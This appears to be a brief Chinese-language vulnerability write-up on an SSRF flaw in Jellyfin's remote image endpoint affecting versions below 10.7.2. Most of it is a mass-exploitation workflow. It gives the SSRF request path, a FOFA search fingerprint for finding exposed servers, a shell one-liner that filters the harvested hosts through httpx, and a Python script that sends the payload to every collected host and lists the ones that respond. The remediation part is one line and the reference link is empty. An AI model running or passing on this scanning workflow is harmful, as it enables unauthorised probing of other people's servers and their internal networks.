1. 漏洞简介#
Jellyfin 是一個自由軟體媒體系統,可讓您控制媒體的管理和流媒體。它是專有的 Emby 和 Plex 的替代品,可通過多個應用程序從專用伺服器向終端用戶設備提供媒體。Jellyfin 是 Emby 3.5.2 版本的後代,移植到.NET Core 框架以支持完整的跨平台支持。沒有任何附加條件,只是一個團隊想要更好地構建更好的東西並共同努力實現它,致力於讓所有用戶都能訪問最好的媒體系統
Jellyfin RemoteImageController.cs 文件中存在 SSRF 漏洞,通過構造特殊的請求,探測內網資訊
2. 影響版本#
Jellyfin < 10.7.2
3. 漏洞複現#
/Images/Remote?imageUrl=http://www.baidu.com
fofa 搜索引擎的指紋為:"Jellyfin" && port="8096" ,用 Fofa 采集工具.exe 批量收集資產
搜集到的資產結果會保存到同目錄的一個 result.csv 文件中
用 shell 命令篩選 IP 或者域名
cat result.csv | awk -F "," '{print $2}' | httpx >> Jellyfin.txt
再用 python 腳本批量驗證
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
def Jellyfin():
with open("Jellyfin.txt") as file:
for line in file:
vuln_url = line + "/Images/Remote?imageUrl=http://www.baidu.com"
try:
response = requests.get(url=vuln_url, verify=False, timeout=10)
if response.status_code == 200:
print(vuln_url)
else:
pass
continue
except Exception as e:
pass
#print(e)
continue
def main():
Jellyfin()
if __name__ == '__main__':
main()
4. 漏洞修復#
更新版本
5. 參考連結#
關於 SSRF 漏洞,可以看這個博文: